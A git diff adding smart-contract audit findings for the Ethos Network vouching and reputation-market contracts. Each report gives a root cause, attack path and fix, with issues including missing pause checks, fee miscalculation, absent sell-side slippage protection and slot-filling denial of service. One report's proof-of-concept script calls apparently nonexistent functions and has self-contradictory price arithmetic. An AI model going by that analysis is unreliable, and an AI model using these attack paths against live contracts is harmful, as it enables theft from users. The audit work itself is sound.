ReputationMarket does not implement `targetExistsAndAllowedForId()` function + +### Summary + +Ethos contracts should implement the `targetExistsAndAllowedForId()` function to check if an id exists for a contract. However, this function is not implemented in `ReputationMarket.sol`, which results in users being unable to add a reply or vote for a ReputationMarket entity. + +### Root Cause + +In the [EthosDiscussion::addReply()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosDiscussion.sol#L310) and [EthosVote::voteFor()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVote.sol#L140) functions, `ITargetStatus(targetContract).targetExistsAndAllowedForId(targetId)` is always checked. Since ReputationMarket doesn't implement this function, users cannot add a reply or vote for a ReputationMarket entity. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. A user calls `EthosVote::voteFor()` or `EthosDiscussion::addReply()` to add a reply or vote for a ReputationMarket entity, but the call reverts as `ReputationMarket.sol` does not implement `targetExistsAndAllowedForId()` function. + +### Impact + +Users cannot add a reply or vote for a ReputationMarket. + +### PoC + +_No response_ + +### Mitigation + +Implement the `targetExistsAndAllowedForId()` function for `ReputationMarket.sol`. \ No newline at end of file diff --git a/079.md b/079.md new file mode 100644 index 0000000..d765dfc --- /dev/null +++ b/079.md @@ -0,0 +1,73 @@ +Cheesy Aegean Squirrel + +Medium + +# Increase Vouch includes Current Voucher in Reward Calculation + +### Summary + +Incorrect reward distribution in `_rewardPreviousVouchers` will allow users to receive back part of their own fees when increasing vouche staked amount as the function includes the voucher's own balance in the reward calculation. + +### Root Cause + +In EthosVouch.sol the [_rewardPreviousVouchers](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L697) function includes the current voucher's balance and vouch when calculating reward proportions, allowing them to receive back part of their own fee when decide to increase his vouch: +```solidity +function _rewardPreviousVouchers(uint256 amount, uint256 subjectProfileId) internal returns (uint256) { + // Calculate total including current voucher + for (uint256 i = 0; i < totalVouches; i++) { + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // Distribute rewards including to current voucher + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + if (!vouch.archived) { + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + vouch.balance += reward; + } + } +} +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +User can save up money by making a two step vouch instead of one +Say that the user originally want to vouch 1.0001 ETH, he can save money by following this steps: +1. User creates minimum vouch (0.0001 ETH) for target +2. Same user increases vouch significantly (e.g. 1 ETH) +3. The vouchers pool fee from the increase is distributed proportionally including their own vouch +4. User receives back part of their own fee based on their proportion of total vouches + +### Impact + +The protocol suffers reduced fee collection as users can reclaim part of their own vouchers pool fees. This defeats the purpose of the fee which is meant to reward previous vouchers, not the current voucher. + +### PoC + +_No response_ + +### Mitigation + +Exclude the current voucher's balance when calculating reward distribution in _rewardPreviousVouchers: +```solidity +function _rewardPreviousVouchers(uint256 amount, uint256 subjectProfileId, uint256 currentVouchId) internal returns (uint256) { + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include other vouches in total + if (!vouch.archived && vouch.vouchId != currentVouchId) { + totalBalance += vouch.balance; + } + } + // Rest of function... +} +``` \ No newline at end of file diff --git a/080.md b/080.md new file mode 100644 index 0000000..b74372f --- /dev/null +++ b/080.md @@ -0,0 +1,43 @@ +Bubbly Porcelain Blackbird + +Medium + +# Missing whenNotPaused modifier in `increaseVouch()` + +### Summary + +Inconsistent pausability +### Root Cause +The `EthosVouch.sol` inherits the `AccessControl` contract, which allow pausing the critical function to be getting accessed during a misfortune. +There is `whenNotPaused` check placed on the `vouchByAddress/vouchByProfileId()` function, which creates a new vouch and increases the vouch balance under the newly created `vouchId`. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L309 +```solidity + function vouchByAddress( + address subjectAddress, + string calldata comment, + string calldata metadata + ) public payable onlyNonZeroAddress(subjectAddress) whenNotPaused { ... } +``` +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { ... } +``` +However, the other function, `increaseVouch()`, which performs a similar task, increasing the current vouch balance of a vouchId—is missing the whenNotPaused modifier. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { ... } +``` + +### Impact +Under a attack, the `increaseVouch()` call cannot be prevented + +### Mitigation + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ... } ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { ... } +``` \ No newline at end of file diff --git a/081.md b/081.md new file mode 100644 index 0000000..74f4627 --- /dev/null +++ b/081.md @@ -0,0 +1,47 @@ +Cheesy Cinnabar Mammoth + +High + +# Overwithdrawal Due to Misaccounted Market Funds + +### Summary + +When a user calls `buyVotes()` on a market, the `marketFunds` state variable incorrectly tracks funds by including protocol fees and donations in its total, leading to an over-withdrawal when markets are graduated. While protocol fees are immediately sent to `protocolFeeAddress` and donations are tracked in `donationEscrow`, these amounts remain counted in `marketFunds`. This double counting causes the protocol to withdraw more funds than it should when calling `withdrawGraduatedMarketFunds()`. + +### Root Cause + +In the `_calculateBuy()` function, fees and donations are added to `fundsPaid`, rather than just the amount paid for votes: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +Then in `buyVotes()`, `marketFunds` is increased by `fundsPaid`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +1. At least the protocol fee or donation fee is non-zero +2. Market is graduated +3. `withdrawGraduatedMarketFunds` is called + +### External pre-conditions + +1. 2 or more markets are created +2. Votes are purchases for 2 or more markets + +### Attack Path + +1. A market is created +2. A user calls `buyVotes()` to buy votes for that market. `marketFunds` is increased by the amount the user paid for votes + the protocol fee + the donation amount. Fees are sent to the protocol and donations are updated. +3. The donation recipient calls `withdrawDonations` to withdraw their donations. +4. The protocol graduates the market and then calls `withdrawGraduatedMarketFunds` which withdraws not just the amount the user paid for votes, but also the protocol fee and donations again. + +### Impact + +Loss of funds since protocol fee and donations are being double counted. + +### PoC + +_No response_ + +### Mitigation + +Don't include the protocol fee and the donation amount when updating marketFunds \ No newline at end of file diff --git a/082.md b/082.md new file mode 100644 index 0000000..41b4e68 --- /dev/null +++ b/082.md @@ -0,0 +1,40 @@ +Calm Fiery Llama + +Medium + +# Users can unvouch all of their vouches before the slashing evaluation period starts to avoid the penalty imposed on them + +### Summary + +Whenever `EthosVouch::slash()` is called to slash a user, up to `10%` of [every vouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L531-L545) made by that user will be sent to the protocol. However, users who have committed offenses need to be accused of inaccurate claims or unethical behavior by "whistleblowers" so that the evaluation period can start. When users are accused, they can simply unvouch to protect their assets. + +### Root Cause + +The current design allows users to bypass being slashed by unvouching before the evaluation period starts. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. User calls `EthosVouch::vouchByProfileId()` or `EthosVouch::vouchByAddress()` to vouch for a profile. +2. That user committs some offenses that would lead to getting slashed. +3. A "whistleblower" accused that user of inaccurate claims or unethical behaviour. +4. The user unvouches so that no funds will be slashed before the evaluation period starts. + +### Impact + +The current slashing mechanism can easily be bypassed by users so that they cannot be slashed. + +### PoC + +_No response_ + +### Mitigation + +Alternatives to this slashing mechanism should be explored as the current design can be easily bypassed. \ No newline at end of file diff --git a/083.md b/083.md new file mode 100644 index 0000000..948e024 --- /dev/null +++ b/083.md @@ -0,0 +1,43 @@ +Cheesy Cinnabar Mammoth + +High + +# Vote buyers get overcharged when a non-zero protocol fee is set + +### Summary + +The README state "Maximum total fees cannot exceed 10%", however, this isn't true. When a user calls `buyVotes()`, they should be charged the protocol fee of `entryProtocolFeeBasisPoints` on the amount they pay for in votes. However, the protocol fee is charged on the amount the user sends in, NOT on the amount they end up paying. + +### Root Cause + +The protocol fee is being applied to the msg.value amount funds, instead of to the actual amount the user is to pay for the votes they purchased. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 + +### Internal pre-conditions + +1. A non zero `entryProtocolFeeBasisPoints` is set + +### External pre-conditions + +1. A user calls `buyVotes()` with a msg.value amount that is greater than the actual amount they end up paying. + +### Attack Path + +1. Market is created +2. User calls buyVotes() +3. The amount they actually have to pay is less than the msg.value amount +4. They get charged the protocol fee on the msg.value amount rather than the amount they paid for +5. They get refunded any amount they didn't use, but still paid the protocol fee on that amount. + +### Impact + +Users buying votes get overcharged in protocol fee + +### PoC + +_No response_ + +### Mitigation + +Apply the fee to the fundsPaid, not the msg.value amount. \ No newline at end of file diff --git a/084.md b/084.md new file mode 100644 index 0000000..f00a6e9 --- /dev/null +++ b/084.md @@ -0,0 +1,40 @@ +Calm Fiery Llama + +Medium + +# Fee Management functions in EthosVouch can be called when the contract is paused. + +### Summary + +A missing modifier in every [Fee Management](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L557-L628) function allows every type of `FeeBasisPoint` to be changed while the contract is paused. + +### Root Cause + +Every Fee Management function can be called when the contract is paused. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. A Voucher wants to call `EthosVouch::vouchByAddress()`, `EthosVouch::vouchByProfileId()` or `EthosVouch::unvouch() `to vouch for a profile or unvouch as he likes the current fee condtions. +2. The contract is paused. +3. While the contract is paused, the current `FeeBasisPoints` can be changed. +4. When the contract is unpaused, the fee conditions will be different and the user will not be able to vouch or unvouch for the same conditions. + +### Impact + +Users might not be able to vouch for the conditions they originally wanted to. Additionally, users may have to pay a higher exit fee as they can't unvouch when the contract is paused, but the `exitFeeBasisPoints` can be increased. + +### PoC + +_No response_ + +### Mitigation + +Add `whenNotPaused` modifier to every Fee Management function in `EthosVouch.sol` just like in `ReputationMarket.sol`. \ No newline at end of file diff --git a/085.md b/085.md new file mode 100644 index 0000000..bd63b37 --- /dev/null +++ b/085.md @@ -0,0 +1,43 @@ +Cheesy Cinnabar Mammoth + +Medium + +# SellVotes doesn't offer the same slippage protection that buyVotes() does + +### Summary + +Ethos utilizes slippage protection on `buyVotes`, however, this protection is not offered on `sellVotes()` and leaves users vulnerable to market manipulation. + +### Root Cause + +Lack of slippage protection for `sellVotes()` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L498 + +### Internal pre-conditions + +1. The attacker must already hold either TRUST or DISTRUST votes in the market they plan on manipulating. The attack is more likely to be performed in markets the attacker wants to hold certain votes in. + +### External pre-conditions + +1. An attacker has some indication that a user will call sellVotes() on a market the attacker belongs to. + +### Attack Path + +1. Let's say there are 500 TRUST votes and 250 DISTRUST votes +3. A user wants to sell 100 TRUST votes so they call sellVotes() passing in 100 as a parameter. The price of the first vote should sell for 500 * .01e18 / 750 = 0.0066e18 and then decrease linearly from there. +4. An attacker owns 100 TRUST votes so they sell their votes first +5. So now the price of the first vote should sell for is 400 * .01e18 / 650 = 0.0061e18 +6. The attacker then rebuys their 100 TRUST votes. +7. The user loses the variance per vote + +### Impact + +Loss of funds for vote sellers + +### PoC + +_No response_ + +### Mitigation + +Add slippage protection to `sellVote()` \ No newline at end of file diff --git a/086.md b/086.md new file mode 100644 index 0000000..b871634 --- /dev/null +++ b/086.md @@ -0,0 +1,39 @@ +Overt Alabaster Cottonmouth + +Medium + +# MAX_TOTAL_FEES for `EthosVouch.sol` is set to `100%` instead of the expected `10%` + +## Description +MAX_TOTAL_FEES [is set to 100%](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) inside `EthosVouch.sol`. However the audit page clearly states that: +> For both contracts: +> - Maximum total fees cannot exceed 10% + +## Impact +Function [checkFeeExceedsMaximum()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996) which is internally called each time any fee value is changed, will allow the total fees to reach 100%: +```js + File: ethos/packages/contracts/contracts/EthosVouch.sol + + 991: /* @notice Checks if the new fee would cause the total fees to exceed the maximum allowed + 992: * @dev This function is called before updating any fee to ensure the total doesn't exceed MAX_TOTAL_FEES + 993: * @param currentFee The current value of the fee being updated + 994: * @param newFee The proposed new value for the fee + 995: */ + 996: function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + 997: uint256 totalFees = entryProtocolFeeBasisPoints + + 998: exitFeeBasisPoints + + 999: entryDonationFeeBasisPoints + + 1000: entryVouchersPoolFeeBasisPoints + + 1001: newFee - + 1002: currentFee; + 1003:@---> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + 1004: } +``` + +## Mitigation +```diff + File: ethos/packages/contracts/contracts/EthosVouch.sol + +- 120: uint256 public constant MAX_TOTAL_FEES = 10000; ++ 120: uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/087.md b/087.md new file mode 100644 index 0000000..32ebbc4 --- /dev/null +++ b/087.md @@ -0,0 +1,41 @@ +Calm Fiery Llama + +Medium + +# Users can vouch for a short period of time to grief other users and steal the `vouchersPoolFee` of every call to add or increase a vouch during that period + +### Summary + +A missing check to reward only vouches that have been active for a specific amount of time will cause users to lose their rightful share of the `vouchersPoolFee`, as any user can vouch for only a short period of time as soon as they get information about when a vouch is going to be added. Therefore, users can steal the `vouchersPoolFee` applied to any call to `EthosVouch::vouchByAddress()`, `EthosVouch::vouchByProfileId()` or `EthosVouch::increaseVouch()`. + +### Root Cause + +In `EthosVouch.sol:721` [every](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L721-L730) vouch that is currently active for the same subject, regardless of how long it has been active, receives a share of the `vouchersPoolFee`. + +### Internal pre-conditions + +1. `entryVouchersPoolFeeBasisPoints` must be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice receives information about when Bob wants to vouch. +2. Alice calls `EthosVouch::vouchByAddress()` to vouch for that address. +3. Bob calls `EthosVouch::vouchByAddress()` to add his vouch. +4. Alice steals a share of the `vouchersPoolFee` from other users even though she has only vouched for a brief period of time. +5. Alice calls `EthosVouch::unvouch()` to remove her vouch. + +### Impact + +Users who vouched for the same subject could lose a significant portion of their deserved share of the `vouchersPoolFee` every time the reward is distributed. Even though this might not be profitable for the users stealing the funds, they will still cause other non-malicious users to lose funds. + +### PoC + +_No response_ + +### Mitigation + +Consider adding a threshold for how long a user must be vouched for in order to receive a share of the `vouchersPoolFee`. \ No newline at end of file diff --git a/088.md b/088.md new file mode 100644 index 0000000..f741975 --- /dev/null +++ b/088.md @@ -0,0 +1,60 @@ +Cheesy Cinnabar Mammoth + +Medium + +# Vote sellers underpaid for votes + +### Summary + +When a vote seller sells their votes, the amount the seller receives is calculated in `_calculateSell` by calling `calcVotePrice`. The problem is that `calcVotePrice` is called after `market.votes[]` is updated, returning a price that's lower than what the user should actually receive for that vote. + +### Root Cause + +`market.vote[]` is updated before `_calcVotePrice()` is called. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036-L1038 + +### Internal pre-conditions + +1. A vote holder needs to call sellVotes() to sell their votes + +### External pre-conditions + +n/a + +### Attack Path + +1. Say there are 100 TRUST votes and 100 DISTRUST votes in a market +2. A vote seller wants to sell 1 TRUST vote +3. The price the vote seller receives for the vote should be the vote price (100 * basePrice / 200) minus the protocol fee +4. But instead, the vote seller will receive their vote for (99 * basePrice / 199) minus the protocol fee because markets.vote[] is updated before the vote price is calculated instead of after. + +### Impact + +Loss of funds for vote sellers because they never receive the full price per vote that they should actually receive. + +### PoC + +_No response_ + +### Mitigation + +Update the code in the while loop in `_calculateSell` to: + +```diff +while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + +- market.votes[isPositive ? TRUST : DISTRUST] -= 1; +- votePrice = _calcVotePrice(market, isPositive); + ++ votePrice = _calcVotePrice(market, isPositive); ++ market.votes[isPositive ? TRUST : DISTRUST] -= 1; + + fundsReceived += votePrice; + votesSold++; + } + +``` \ No newline at end of file diff --git a/089.md b/089.md new file mode 100644 index 0000000..1f3d433 --- /dev/null +++ b/089.md @@ -0,0 +1,38 @@ +Kind White Buffalo + +Medium + +# Vouch amount can be lower than minimum + +### Summary + +When vouching the minimum vouch amount must be >= ABSOLUTE_MINIMUM_VOUCH_AMOUNT (0.0001 ether), however, it can be lower than that as the validation is not sufficient. + +### Root Cause + +In [vouchByProfileId:380](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L380) it is validated that `msg.value` is not lower than the minimum vouch amount, however, the actual vouch amount will always be less than `msg.value` due to the fees. Therefore, it is possible for the `msg.value` to be higher than the minimum, whilst the actual vouch is not. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `vouchByProfileId` is called with `msg.value = ABSOLUTE_MINIMUM_VOUCH_AMOUNT` +2. 10% of the ETH is deducted due to the fees, and the amount of the vouch lowers below the minimum + +### Impact + +An important invariant of the protocol is broken. + +### PoC + +_No response_ + +### Mitigation + +Validate whether `toDeposit` is not lower than `ABSOLUTE_MINIMUM_VOUCH_AMOUNT`. \ No newline at end of file diff --git a/090.md b/090.md new file mode 100644 index 0000000..5e6bdb9 --- /dev/null +++ b/090.md @@ -0,0 +1,43 @@ +Ancient Fern Cormorant + +High + +# Absence of slippage protection in the `sellVotes` function may lead to loss of funds for users + +### Summary + +Absence of slippage protection in the `sellVotes` function may lead to big loss of funds for users. This is possible due to the way that a price of a vote is calculated in the [`RepMarket::_calcVotePrice`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923): +```javascript + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` +This way of calculating the price of a share can lead to loss of funds for the user, since the price can get inflated/deflated from other users buy the same or the counterpart votes. Such slippage mechanism is implemented in `buyVotes` function to prevent the users from getting less votes than they want and should be implemented in `sellVotes` for preventing the users from getting less eth than they want. +### Root Cause + +Absence of slippage protection in the `sellVotes` function + +### Internal pre-conditions + +User want to sell his votes + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +Loss of funds for users that want to sell their votes + +### PoC + +_No response_ + +### Mitigation + +add slippage protection like in the `buyVotes` function \ No newline at end of file diff --git a/091.md b/091.md new file mode 100644 index 0000000..7557caa --- /dev/null +++ b/091.md @@ -0,0 +1,39 @@ +Ancient Fern Cormorant + +High + +# both the in-scope contract are meant to be upgradable but inherit from the normal version of `ReentrancyGuard` + +### Summary + +both the in-scope contract are meant to be upgradable but inherit from the non-upgradable version of `ReentrancyGuard`. This is a big problem because if the contract is upgraded, the storage of `ReentracyGuard` will be messed up, leading to unexpected behaviour or to `ReentracyGuard` functionality not working properly. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L8 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L11 + +### Root Cause + +Using the non-upgradable version of `ReentrancyGuard` + +### Internal pre-conditions + +the protocol team wanting to upgrade the contract with some new variables and functionality + +### External pre-conditions + +None + +### Attack Path + +None + +### Impact + +The `ReentrancyGuard` functionality won't work as intended. + +### PoC + +_No response_ + +### Mitigation + +Use `ReentrancyGuardUpgradable` instead of `ReentrancyGuard`. It has namespaced storage which will prevent this from happening \ No newline at end of file diff --git a/092.md b/092.md new file mode 100644 index 0000000..2499eb6 --- /dev/null +++ b/092.md @@ -0,0 +1,42 @@ +Shaggy Pineapple Nuthatch + +Medium + +# Users will be able to IncreaseVouch even when ethosVouch is paused + +### Summary + +EthosVouch contract implements pausable functionality which according to sponsors would pause `when there's a risk of funds being lost due to compromise`. During that event all of the core functionalities like vouchByAddress , vouchByProfile ,unvouch , increaseVouch etc MUST BE PAUSED however the critical method `increaseVouch` is missing `whenNotPaused` modifer making it available for users to call and potentially engage with protocol through monetory transactions by increasing vouch when in-fact this action MUST NOT be allowed when the contract is paused. + +This NOT a user error rather a security flaw in the implementation because if it was to be a user error , the `whenNotPaused` modifier should not be present on other functions too assuming the users are "intelligent enough" to monitor on-chain conditions all the time. + + +### Root Cause + +Missing `whenNotPaused` modifier in ethosVouch.sol line #426 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +1. Vouch must exist +2. Contract must be paused + +### External pre-conditions + +1. User wants to increase Vouch for already existing one + +### Attack Path + +1. User initiates some amount of ETH increase in Vouch + +### Impact + +The users might be interacting with the protocol at vulnerable condition ( for example a critical bug of funds loss is discovered ) and user will put their more funds into the protocol which will be endangered. + +### PoC + +The issue is evident from the detailed description above. + +### Mitigation + +Add `whenNotPaused` modifier on `increaseVouch` function too. \ No newline at end of file diff --git a/093.md b/093.md new file mode 100644 index 0000000..85952ca --- /dev/null +++ b/093.md @@ -0,0 +1,43 @@ +Cheesy Cinnabar Mammoth + +Medium + +# updateDonationRecipient transfers donations from unrelated markets + +### Summary + +`ReputationMarket::updateDonationRecipient` can inadvertently transfer all donations from multiple markets if the same recipient is used across them. This occurs because the donationEscrow mapping tracks balances by recipient address only, not by market. + +### Root Cause + +Donations aren't accounted for by profileId: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L125-L127 + +### Internal pre-conditions + +1. One address is the donation recipient for 2 or more markets +2. Donations for 2 or more markets have been received by the one address +3. The donation recipient calls updateDonationRecipient for one of the markets + +### External pre-conditions + +n/a + +### Attack Path + +1. Let's say Alice is the donation recipient for Market A and Market B +2. Both markets generate donations, so donationEscrow[alice] contains funds from both markets +3. Alice calls updateDonationRecipient for Market A to transfer to Bob +4. The function will transfer ALL of Alice's donation escrow to Bob, including the funds from Market B even though Alice is still the donation recipient for that market. + +### Impact + +Loss of funds for the donation recipient. + +### PoC + +_No response_ + +### Mitigation + +Donations should be tracked per market and recipient to ensure transfers only affect the intended market's funds. \ No newline at end of file diff --git a/094.md b/094.md new file mode 100644 index 0000000..327e2c8 --- /dev/null +++ b/094.md @@ -0,0 +1,44 @@ +Quick Holographic Canary + +Medium + +# Blocked profiles can still create markets + +### Summary + +The function [createMarketWithConfigAdmin](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L301-L307) in `ReputationMarket.sol` is missing a check for blocked accounts (`!creationAllowedProfileIds[senderProfileId]`), which can be exploited to create a market even when the profile ID is blocked from doing so. + + +### Root Cause + +`ReputationMarket::createMarketWithConfigAdmin` should revert if the user's profile is blacklisted from creating a market. + + +### Internal pre-conditions + +1. The admin needs to call `ReputationMarket::createMarketWithConfigAdmin`, as this function is restricted to admin-level access. + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The user's profile is blocked from creating a market. +2. The admin is unaware that the `createMarketWithConfigAdmin` function is missing checks for blocked accounts. +3. The admin calls `createMarketWithConfigAdmin` with a blocked profile ID. +4. The market is created despite the user being blocked from creating a market. + + +### Impact + +Profiles blocked from creating markets can still bypass restrictions and create a market. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/095.md b/095.md new file mode 100644 index 0000000..4b01ca5 --- /dev/null +++ b/095.md @@ -0,0 +1,124 @@ +Joyous Chambray Dolphin + +High + +# Insufficient liquidity and pricing manipulation in `ReputationMarket.sol` allows attackers to manipulate the market with minimal funds + +### Summary + +The `initialize` function in `ReputationMarket.sol` introduces a Default tier with extremely low liquidity (0.002 ETH) and vote counts (1 vote each for trust and distrust). This configuration allows attackers to manipulate the market with minimal funds, causing significant price fluctuations and extracting financial gains. + +### Root Cause + +The following configuration is present in the `initialize` function: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L223-L229 +The problem here is: +1. Low liquidity (0.002 ETH): with minimal liquidity, prices react sharply to small transactions. +2. Single vote (1 trust, 1 distrust): voting changes have exaggerated effects on price calculations. + + +### Internal pre-conditions + +Setup: +Default `DEFAULT_PRICE` = 0.01 ETH. +Initial trust votes = 1, distrust votes = 1. +Liquidity = 0.002 ETH (from the Default tier configuration). + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker creates a market using the Default tier: +```solidity +contractInstance.createMarketWithConfig(0, { value: 0.002 ether }); +``` +2. Initial state: +Trust votes: 1 +Distrust votes: 1 +Trust price: 0.01 ETH +Distrust price: 0.01 ETH + +3. Attacker votes for trust with 5 additional votes: +```solidity +contractInstance.voteTrust(profileId, 5, { value: 0.005 ether }); +``` + +4. Post-voting state: + +Trust votes: 1+5=6 +Distrust votes: 1 + +New Trust Price: +Trust Price=Trust Votes/Total Votes×Base Price=6/(6+1)×0.01 ETH=0.00857 ETH + +New Distrust Price: +Trust Price=Distrust Votes/Total Votes×Base Price=6/(6+1)×0.01 ETH=0.00143 ETH + +5. Attacker votes against trust, reducing trust votes: +```solidity +contractInstance.voteDistrust(profileId, 5, { value: 0.001 ether }); +``` +6. Final state: + +Trust votes: 6−5=1 +Distrust votes: 1+5=6 +Trust price drops back to 0.00143 ETH, and distrust price rises to 0.00857 ETH. + +### Impact + +The attacker profits from buying trust votes cheaply and then manipulating the prices to sell them higher, exploiting price volatility. + +Small transactions lead to large price swings, making the market unusable for legitimate users. + + + +### PoC + +```solidity +const { ethers } = require("hardhat"); + +async function main() { + const Contract = await ethers.getContractFactory("MarketContract"); + const contract = await Contract.deploy(); + await contract.deployed(); + + await contract.initialize(owner, admin, signer, verifier, manager); + + // Create a market with Default tier + await contract.createMarketWithConfig(0, { value: ethers.utils.parseEther("0.002") }); + + // Check initial prices + let prices = await contract.getPrices(profileId); + console.log("Initial Prices:", prices); // Expect both prices to be 0.01 ETH + + // Manipulate trust votes + await contract.voteTrust(profileId, 5, { value: ethers.utils.parseEther("0.005") }); + prices = await contract.getPrices(profileId); + console.log("After Voting Trust:", prices); // Expect trust price to rise + + // Manipulate distrust votes + await contract.voteDistrust(profileId, 5, { value: ethers.utils.parseEther("0.001") }); + prices = await contract.getPrices(profileId); + console.log("After Voting Distrust:", prices); // Expect distrust price to rise +} + +main(); +``` +Output: +Initial Prices: Trust = 0.01 ETH, Distrust = 0.01 ETH. +After Voting Trust: Trust = 0.00857 ETH, Distrust = 0.00143 ETH. +After Voting Distrust: Trust = 0.00143 ETH, Distrust = 0.00857 ETH. + +### Mitigation + +Require higher liquidity and votes for the Default tier: +```solidity +initialLiquidity: 10 * DEFAULT_PRICE, // 0.01 ETH +initialVotes: 10, +``` +Also, add a buffer to prevent low-vote scenarios from causing volatility: +```sollidity +totalVotes = trustVotes + distrustVotes + 10; +``` \ No newline at end of file diff --git a/096.md b/096.md new file mode 100644 index 0000000..f78421b --- /dev/null +++ b/096.md @@ -0,0 +1,141 @@ +Scruffy Berry Ape + +High + +# The fixed slot limit 256 will cause a DOS for high value vouchers as a Malicious Voucher can fill all slots with minimum value vouches. + +### Summary + +The lack of value based slot allocation in EthosVouch.sol will cause a complete denial of service for high-value vouchers as an attacker can fill all available slots with minimum value vouches (0.0001 ETH). + +### Root Cause + +In EthosVouch.sol there is a fixed maximum of 256 slots per profile with no consideration of vouch value: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol?plain=1#L29 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol?plain=1#L330 + +The current implementation allows a malicious voucher to block high value vouches by filling slots with minimum value vouches (0.0001 ETH), which directly contradicts the protocol's core philosophy that "Credibility is based on stake value, not popularity". + +### Internal pre-conditions + +- Profile must exist in EthosProfile contract +- Malicious Voucher needs enough ETH to fill slots (at least 0.0256 ETH = 256 * 0.0001 ETH minimum) + Gas Fees +- Target profile must have available vouch slots (not already at 256) +- Contract must not be paused + +### External pre-conditions + +None. attack can be executed independently + +### Attack Path + +1- Malicious Voucher identifies valuable profile to target +2- Malicious Voucher calls `vouchByProfileId()` repeatedly with minimum amount (0.0001 ETH) to fill slots +3- When high value voucher attempts to vouch, their transaction reverts due to `MaximumVouchesExceeded` + +4- Malicious Voucher can then: +- Demand payment to release slots through 